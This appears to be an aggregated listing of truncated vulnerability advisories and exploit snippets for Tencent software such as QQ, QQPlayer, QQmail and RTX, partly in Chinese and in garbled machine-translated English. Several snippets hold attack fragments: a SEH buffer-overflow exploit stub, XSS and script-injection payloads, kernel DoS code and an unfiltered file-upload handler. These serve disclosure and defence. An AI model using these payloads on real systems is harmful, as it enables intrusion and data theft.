CVE-2011-4865

The CVE-2011-4865 issue affects Android apps Tencent WBlog 3.3.1 and MicroBlogPad 1.4.0, where data is not protected properly, allowing remote attackers to read or modify message drafts and search keywords via a crafted app. Root cause: insecure data protection within these apps. Impact is data e...

CVE-2011-4864

The Tencent MobileQQ com.tencent.mobileqq application 2.2 for Android does not properly protect data, which allows remote attackers to read or modify messages and a friends list via a crafted application...

CVE-2011-4863

The CVE concerns Tencent QQPimSecure (com.tencent.qqpimsecure) on Android, version 3.0.2. The flaw is a data protection weakness that allows remote attackers to read or modify SMS/MMS messages and the contact list via a crafted application. The vulnerability is described without exploit specifics...

CVE-2011-4865

The Tencent WBlog com.tencent.WBlog 3.3.1 and MicroBlogPad 1.4.0 applications for Android do not properly protect data, which allows remote attackers to read or modify message drafts and search keywords via a crafted application...

QQPlayer MOV File Processing Buffer Overflow Vulnerability

This host is installed with QQPlayer and is prone to buffer overflow vulnerability. OpenVAS Vulnerability Test $Id: gbqqplayermovfilebofvuln.nasl 5366 2017-02-20 13:55:38Z cfi $ QQPlayer MOV File Processing Buffer Overflow Vulnerability Authors: Rachana Shetty Copyright: Copyright c 2012 Greenbon...

Tencent RTX upload arbitrary files and fixes-vulnerability warning-the black bar safety net

Install the RTX after the open IP:8 0 1 2 site Tencent RTX exist UserPhoto/photoUpload. php arbitrary file upload vulnerability Detailed description: Simple as a post form to upload $useraccount = $POST'useraccount'; $filename = $POST"filename"; $filedata = $POST"filedata"; Without any filtering...

QQ2011会话密钥泄露漏洞

腾讯QQ是在中国非常广泛使用的即时聊天工具。 Windows平台上QQ的客户端（包括QQ2010/2011等版本）在实现上存在安全漏洞，在生成会话密钥相关的临时密钥时使用了不安全的随机密钥生成算法，导致攻击者可以通过监听用户登录得到会话密钥，进而可以添加、修改、查看所有的聊天记录。 Tencent QQ 2011 Tencent QQ 2010 厂商补丁： Tencent ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://im.qq.com/qq/dlqq.shtml...

Tencent plurality of unfixed bugs-bug warning-the black bar safety net

By Superhei Sunday, April 2 4, 2 0 1 1 One, the evil filterflag On filterflag the issue of the first report, in 2 0 0 9 year 4 month the QQmail Multiple Xss Vulnerabilities of a text,but until today the problem is not completely resolved. Multiple functions can be triggered, the most direct featu...

Tencent WEB QQ file transfer a tasteless vulnerabilities and fixes-vulnerability warning-the black bar safety net

Brief description: In the file name special characters not carried out inspection and restrictions. Detailed description: 2011-04-12 2 2:4 0:5 8 The other side has agreed to receive"C:\fakepath\1.asa;. jpg",began to transfer files. 2011-04-12 2 2:4 1:0 2 File"1. asa"the transfer is successful...

Tencent Weibo falsification of information vulnerability, other microblogging is also affected by the impact-vulnerability warning-the black bar safety net

Brief description: Can be forged to anyone on Twitter, April Fools ' day entertainment the vulnerability, we know. Detailed description: In the meager dialogue and the broadcast send: Test || @mA:I'm not mA Can disguise mA huateng participate in the dialogue. Vulnerability to prove: Repair...

QQ INTERNATIONAL v Bêta 3 DLL Hijacking Exploit (mfc80fra.dll)

Exploit for windows platform in category local exploits / Exploit Title: QQ INTERNATIONAL v Bêta 3 DLL Hijacking Exploit mfc80fra.dll Date: 18/03/2011 Author: Metropolis Url: http://metropolis.fr.cr Software Link: http://www.toocharger.com/fiches/windows/qq-international/61560.htm Version: V1.2...

腾讯QQ 2010 SP1消息记录远程代码注入漏洞

腾讯QQ是一款在中国非常广泛使用的即时聊天工具。 腾讯QQ 2010 SP1在处理消息记录时，没有对会话消息中的Javascript和Html标签进行正确转义，攻击者可以发送恶意消息注入脚本代码并执行。 Tencent QQ 2010 SP1 最新版本的腾讯QQ已经修复此漏洞，建议用户下载使用： http://im.qq.com/qq/dlqq.shtml input onclick="window.location=' x68x74x74x70x3ax2fx2fx77x77x77x2ex62x6fx77x6fx73x2ex63x6fx6d'"/ img src='tetet'...

QQ Computer Manager TSKsp.sys Driver Denial Of Service

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQpcmgr=v4.0Beta1 Vendor: Tencent Inc 1 Software Description: QQ doctors more than three years after the development and operation, and finally ushered in the fourth generati...

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability

QQ Computer Manager TSKsp.sys Driver Local Denial of Service Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQpcmgr=v4.0Beta1 Vendor: Tencent Inc 1 Software Description: QQ doctors more than three years after the development and operation, and finally ushered in the fourth generati...

QQplayer smi File Processing Buffer Overflow Vulnerability

QQplayer smi File Processing Buffer Overflow Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQPlayer=2.3.696.400p1 Vendor: Tencent Inc 1 Software Description: QQPlayer is developed by Tencent Inc.It is very popular universal multimedia player in China. 2 Details: A buffer overflow...

QQplayer 2.3.696.400p1 Buffer Overflow

QQplayer smi File Processing Buffer Overflow Vulnerability By Lufeng Li of Neusoft Corporation Vulnerable: QQPlayer meta name="author" content="Warner Music Group''' junk = "A" 2001 nseh ="\x42\x61\x21\x61" seh ="\x39\x0c\x41\x00" adjust="\x30\x83\xc0\x0b"...

QQ旋风下载链接处理缓冲区溢出漏洞

BUGTRAQ ID: 39962 QQ旋风是腾讯公司08年底推出的新一代互联网下载工具。 QQ旋风在处理下载链接时存在栈缓冲区溢出漏洞，远程攻击者可能利用此漏洞通过诱使用户访问构造的恶意网页在用户系统上执行任意指令，从而完全控制用户系统。该漏洞可能被用来大规模传播病毒木马。 Tencent QQ旋风 = 2.7625 厂商补丁： Tencent ------- 目前厂商已经在2.7626及以后版本的软件中修复了此漏洞，请到厂商的主页下载： http://xf.qq.com/...

Tencent QQ Doctor <= 3.2 ZwSetInformationFile Filter Kernel Mode D.O.S Vulnerability

Tencent QQ Doctor Kernel Mode Driver direct using ZwSetInformationFileFileDispostionInformation-FileInformation without any memory validate . 1.03.2 unistall QQ Doctor HMODULE hlib = GetModuleHandle"ntdll.dll"; PVOID pZwSetInformationFile = GetProcAddresshlib , "ZwSetInformationFile"; asm push 0x...

QQmail Multiple Xss Vulnerabilities-vulnerability warning-the black bar safety net

QQmail Multiple Xss Vulnerabilities Author: www.80vul.com 1. firefox2 css xss vulnerabilities styleBODY-moz-binding:url"http://www.80vul.coom/test.xmlxss"/style test.xml: ? xml version="1.0"?& gt; bindings xmlns="" binding id="xss" implementation constructor! CDATAalert'XSS'/constructor...

Tencent FoxMail Detection (Windows SMB Login)

SMB login-based detection of Tencent FoxMail. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...